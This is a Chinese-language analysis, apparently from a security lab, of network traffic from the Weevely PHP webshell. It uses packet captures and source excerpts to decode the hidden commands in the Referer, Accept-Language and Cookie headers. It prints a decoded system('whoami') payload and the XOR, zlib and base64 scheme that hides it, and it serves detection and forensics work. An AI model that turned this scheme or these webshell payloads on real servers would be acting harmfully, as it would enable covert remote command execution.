客户端:运行Weevely进程的计算机。
服务端:存有PHP木马的服务器。
在客户端,Weevely每执行一条命令就通过HTTP协议发出一条GET/POST请求;在服务端,木马针对每条GET/POST请求作出响应,产生一条响应包。
通过对源代码进行走读以及wireshark进行抓包分析,可以看出Weevely主要生成的php后门文件主要有三种模板:stegaref_php.tpl,legacycookie_php.tpl,stegaref_php_debug.tpl。其中stegaref_php.tpl与stegaref_php_debug.tpl两种php模板类似,主要特点是返回的response_body中的标签stegaref_php.tpl为<连接密码md5加密前八位>标签,stegaref_php_debug.tpl为:<连接密码md5加密前八位+DEBUG>标签,同时响应体中的内容stegaref_php_debug.tpl模板把主要的有用数据字段全都显示出来了,主要用于前期debug使用,所以本文档主要分析了stegaref_php.tpl和legacycookie_php.tpl两种使用模板。
以ip为136的kali虚拟机为客户端对含有后门文件的ip为137的kali虚拟机作为服务器进行远程连接。连接成功后在客户端命令行中输入命令whoami查看回显内容。通过Wireshark我们抓取到了两个TCP数据流。分别为:
数据包
GET /backdoor.php HTTP/1.1
Accept-Encoding: identity
Accept-Language: uk-UA,mi;q=0.5,mt;q=0.7,mk;q=0.8
Host: 192.168.182.137
Accept: text/html,text/plain;0.9,*/*
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.427.0 Safari/534.1
Connection: close
Referer: http://www.google.bt/url?sa=t&rct=j&q=168.182.137&source=web&cd=799&ved=bd6Tfh__3&url=168.182&ei=z5HrNlsxt6GOIdThqz-xn9&usg=_WO2gRIcnxgee6zgNBv-_H_-rGFUhmIHND
分析
HTTP攻击载荷主要存储于Referer头中,通过Accept-Language头中存储的sessionid和payload的数组偏移量对加密的payload进行提取。|
数据包
GET /backdoor.php HTTP/1.1
Accept-Encoding: identity
Accept-Language: ur-PK,mh;q=0.4
Connection: close
Accept: text/html,application/xml;0.9,*/*
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4
Host: 192.168.182.137
Cookie: PHPSESSID=fkdt4fv5tkn3q2hnhp10rv65o5
Referer: http://translate.googleusercontent.com/translate_c?depth=1&rurl=translate.google.com&sl=auto&tl=en&usg=hiNRM7PjQ220tyDdwupmXEp1ZrLJkF0aFf
分析
HTTP攻击载荷主要存储于Referer头中,通过Accept-Language头中存储的sessionid和payload的数组偏移量对加密的payload进行提取。
通过对Weevely源码进行分析,确定数据包格式主要通过7种不同的构造Referer数据报头方法进行对加密的payload进行填充。Referer头格式为:
http://www.google.${ tpl.rand_google_domain() }/url?sa=t&rct=j&q=${ tpl.target_name() }&source=web&cd=${ tpl.rand_number(3) }&ved=${ tpl.payload_chunk(9) }&url=${ tpl.target_name() }&ei=${ tpl.payload_chunk(22) }&usg=${ tpl.payload_chunk(34) }
http://www.google.${ tpl.rand_google_domain() }/url?sa=t&rct=j&q=${ tpl.target_name() }&source=web&cd=${ tpl.rand_number(3) }&ved=${ tpl.payload_chunk(9) }&url=${ tpl.target_name() }&ei=${ tpl.payload_chunk(22) }&usg=${ tpl.payload_chunk(34) }&sig2=${ tpl.payload_chunk(22) }
http://translate.googleusercontent.com/translate_c?depth=1&rurl=translate.google.com&sl=auto&tl=en&u=${ tpl.target_name() }&usg=${ tpl.payload_chunk(34) }
http://${ tpl.get_url_base() }/?${ tpl.rand_chars(2) }=${ tpl.payload_chunk(30,20) }&${ tpl.rand_chars(2) }=${ tpl.payload_chunk(30,20) }
http://${ tpl.get_url_base() }/?${ tpl.rand_chars(3) }=${ tpl.payload_chunk(30,20) }
http://${ tpl.get_url_agent() }?${ tpl.rand_chars(2) }=${ tpl.payload_chunk(30,20) }&${ tpl.rand_chars(2) }=${ tpl.payload_chunk(30,20) }
http://${ tpl.get_url_agent() }?${ tpl.rand_chars(3) }=${ tpl.payload_chunk(30,20) }
数据包
HTTP/1.1 200 OK
Date: Mon, 19 Sep 2016 07:13:56 GMT
Server: Apache/2.4.23 (Debian)
Set-Cookie: PHPSESSID=fkdt4fv5tkn3q2hnhp10rv65o5; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8
分析
这一部分响应包中主要显示了响应头的基本信息,没有什么特殊的有用信息。|
数据包
HTTP/1.1 200 OK
Date: Mon, 19 Sep 2016 07:13:56 GMT
Server: Apache/2.4.23 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 45
Connection: close
Content-Type: text/html; charset=UTF-8
<5d41402a>TfgfHhvnfygZLdAzNCHtYgI=
分析
攻击载荷返回结果存储于响应体中,响应体具体返回结果通过”<5d41402a>”标签封装。
<5d41402a>标签中”5d41402a”是php后门文件的连接密码”hello”通过代码:shared_key = hashlib.md5(password).hexdigest().lower()[:8]
执行得出。即shared_key为连接密码进行MD5加密取其前八位。标签内的内容为攻击载荷具体返回值:”TfgfHhvnfygZLdAzNCHtYgI=”具体内容经过解密(先base64解码,再和shared_key进行异或,最后通过zip解压缩)zlib.decompress(utils.strings.sxor(base64.urlsafe_b64decode(payload), shared_key))
得到返回值:”www-data”。
真实的payload被经过多重编码后分散在报文的各个部分,我们需要对weevely的源码进行解析,然后对加密后的payload进行解密提取有用的价值。
通过用Wireshark进行数据包的捕获。
数据包
GET /test.php HTTP/1.1
Accept-Encoding: identity
Host: 192.168.182.137
Cookie: USR=he; APISID=-Y2\*hka?XI/oJy9-2YXIv; USRID=d3@d3L2h0b-W-wn-K&TtA; SESS=c-3\*lzdGV-tK-C-d3aG9hbWkgMj4mM#Sc\*pO-w==
Connection: close
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR)AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16
分析
攻击载荷主要存在于Cookie头中,Cookie中的payload主要通过base64编码加密,加密后的payload通过进行拆分,同时通过
#&*-/?@~
这些特殊字符串进行混淆。
通过对Weevely源码进行分析,可以看到对cookie中的payload进行拆分的数组主要由default_prefixes = ["ID", "SID", "APISID","USRID", "SESSID", "SESS","SSID", "USR", "PREF"]
这几个数组组成。payload通过代码:payload = base64.b64encode(original_payload.strip())
对payload进行base64编码加密。Cookie中第一个字符串:”USR=he;”其中”he”为连接密码前两位。
数据包
HTTP/1.1 200 OK
Date: Tue, 20 Sep 2016 01:39:18 GMT
Server: Apache/2.4.23 (Debian)
Content-Length: 20
Connection: close
Content-Type: text/html; charset=UTF-8
\www-data\
分析
攻击载荷返回结果存储于响应体中,响应体具体返回结果通过”\\“标签封装。
响应包标签”\\“中”llo”通过对php代码进行分析可知:$k="${password[2:]}";
为连接密码第三位至末尾字符串。攻击载荷返回结果即为\\标签中的返回值。
weevely使用了python中的cmd模块实现交互会话,交互会话的命令有两部分:
1. modules目录中包含了一部分命令的实现,例如weevely3/modules/file/目录实现了cd,cp等命令
2. 对于modules中没有定义的命令,weevely会使用system函数直接执行用户输入命令。
weevely在建立连接的时候会从服务器上获取web根目录的绝对路径,因此whoami命令,在最终会生成:
“chdir(‘/var/www/html’);@system(‘whoami 2>&1’);”
其中,stegaref.py为核心代码区域,referrers.tpl为mako模板,weevely根据这个模板编码攻击payload。
编码后的payload在HTTP的Referer和Accept-Language中,其中Accept-Language用于指示payload在referer中的偏移位置,在我们抓取到的数据包中,原始payloadchdir('/var/www/html');@system('whoami 2>&1');
将会被编码为:Accept-Language: uk-UA,mi;q=0.5,mt;q=0.7,mk;q=0.8
Referer: http://www.google.bt/url?sa=t&rct=j&q=168.182.137&source=web&cd=799&ved=bd6Tfh__3&url=168.182&ei=z5HrNlsxt6GOIdThqz-xn9&usg=_WO2gRIcnxgee6zgNBv-_H_-rGFUhmIHND
和Accept-Language: ur-PK,mh;q=0.4
Referer: http://translate.googleusercontent.com/translate_c?depth=1&rurl=translate.google.com&sl=auto&tl=en&usg=hiNRM7PjQ220tyDdwupmXEp1ZrLJkF0aFf
session_id, referrers_data = self._prepare(original_payload)
调用_prepare函数对原始payload进行编码,生成承载编码后的payload的referer数组,由于payload可能很长,因此可能生成多个referer。def _prepare(self, payload):
这里的payload还为原始的payloadobfuscated_payload = base64.urlsafe_b64encode(utils.strings.sxor(zlib.compress(payload),self.shared_key)).rstrip('=')
首先对原始payload进行编码,zip压缩后和shared_key进行异或运算,最后进行base64编码,注意这里的shared_key,这个key非常重要,生成的算法很简单:shared_key = hashlib.md5(password).hexdigest().lower()[:8]
其中password就是webshell的密码,这里的是hello。
3. _prepare()函数不仅仅对payload进行加密,同时也随机生成了sessionid(占两个字节),这个sessionid在_generate_header_accept_language()函数中被分解为多个字符串,即为Accept-Language中的uk-UA,mi;mt;mk;对于我们有用的就是uk-UA的第一个字符和mi,mt,mk的第一个字符,所以可以看出我们的sessionid为um。
4. 通过代码header = hashlib.md5(session_id +self.shared_key[:4]).hexdigest().lower()[:3]
和header = hashlib.md5(session_id +self.shared_key[4:8]).hexdigest().lower()[:3]
生成header和footer,而header和footer顾名思义用于指示编码后的payload的开始位置和结束位置。由于session_id上述说明了为um,所以对应的header和footer分别为‘bd6’和‘220’。
5. 首先通过数组的偏移量可以找到大致的payload为:
bd6Tfh__3z5HrNlsxt6GOIdThqz-xn9_WO2gRIcnxgee6zgNBv-_H\_-rGFUhmIHNDhiNRM7PjQ220tyDdwupmXEp1ZrLJkF0aFf
然后通过代码
remaining_payload=header+obfuscated_payload+footer
header和footer找出具体payload的值:
Tfh__3z5HrNlsxt6GOIdThqz-xn9_WO2gRIcnxgee6zgNBv-_H\_-rGFUhmIHNDhiNRM7PjQ
6 .
for referrer_index, referrer_vanilla_data in enumerate(itertools.cycle(self.referrers_vanilla)):
该代码为一个无限循环,这个循环将开始填充remaining_payload,这个循环有一个重要的参数,self.referrers_vanilla,这个参数是从referrers.tpl中读取并render()之后得到的,我们的数据包中可以看出使用了两模板:
http://www.google.${ tpl.rand_google_domain() }/url?sa=t&rct=j&q=${ tpl.target_name() }&source=web&cd=${ tpl.rand_number(3) }&ved=${ tpl.payload_chunk(9) }&url=${ tpl.target_name() }&ei=${ tpl.payload_chunk(22) }&usg=${ tpl.payload_chunk(34) }**
和 **http://translate.googleusercontent.com/translate_c?depth=1&rurl=translate.google.com&sl=auto&tl=en&u=${ tpl.target_name() }&usg=${ tpl.payload_chunk(34) }
通过上文对payload进行提取可知,加密后的payload为:
Tfh__3z5HrNlsxt6GOIdThqz-xn9_WO2gRIcnxgee6zgNBv-_H\_-rGFUhmIHNDhiNRM7PjQ
通过他的加密函数
obfuscated_payload = base64.urlsafe_b64encode(utils.strings.sxor(zlib.compress(payload),self.shared_key)).rstrip('=')
可以对算法进行逆向解密(先base64解密,shared_key异或,zip解压缩)可得算法为:
zlib.decompress(utils.strings.sxor(base64.urlsafe_b64dncode(payload), shared_key))
由于payload进行加密时通过rstrip(‘=’)把等于号全部删除掉了,所以在进行解密时当算法出错时可以向字符串末尾添加”=”号结合算法进行解密,函数通过算法解密后可得到攻击载荷为:”chdir(‘/var/www/html’);@system(‘whoami 2>&1’);”。
通过对数据包的提取,我们可以看到weevely的具体响应内容在响应体中显示:<5d41402a>TfgfHhvnfygZLdAzNCHtYgI=
。
<5d41402a>
标签中,而标签里的内容为”5d41402a”,这个数据的由来是后门php文件连接密码”hello”通过shared_key = hashlib.md5(password).hexdigest().lower()[:8]
这个函数进行MD5加密然后取前8位。decompress(utils.strings.sxor(base64.b64decode(response_body), shared_key))
进行解密运算,得到命令”whoami”的执行结果:”www-data”。
payload片段分别放在Cookie字段中存储,通过代码 self.default_prefixes = ["ID", "SID", "APISID","USRID", "SESSID", "SESS","SSID", "USR", "PREF"]
可知,Cookie中的USR,APISID等字符串主要从该数组中随机取出。
代码中可以看到构造的Cookie第一个字符串是”self.password[:2]”即密码的前两位,后面的即为真正的payload,所以我们可以直接把payload进行拼接,然后手工去掉特殊字符,再进行base64解密就可以得到完整的payload。从数据包中提取的payload为”Y2hkaXIoJy92YXIvd3d3L2h0bWwnKTtAc3lzdGVtKCd3aG9hbWkgMj4mMScpOw==”进行base64解码后得到真正的payload为”chdir(‘/var/www/html’);@system(‘whoami 2>&1’);”代码如下:
additional_headers.append(('Cookie', '%s=%s;%s %s' % (prefixes.pop(),self.password[:2],additional_cookie if additional_cookie else '',cookie_payload_string)))
使用legacycookie_php.tpl模板的php后门文件抓取的数据包响应体为明文数据,可以通过观察直观的看到我们攻击命令的回应信息。回应信息主要放在\\
标签中。而标签中的内容”llo”通过跟踪代码$k="${password[2:]}";echo "<$k>";echo "$k>";
可以知道”llo”为是php文件密码从第三个字符一直取到末尾得到。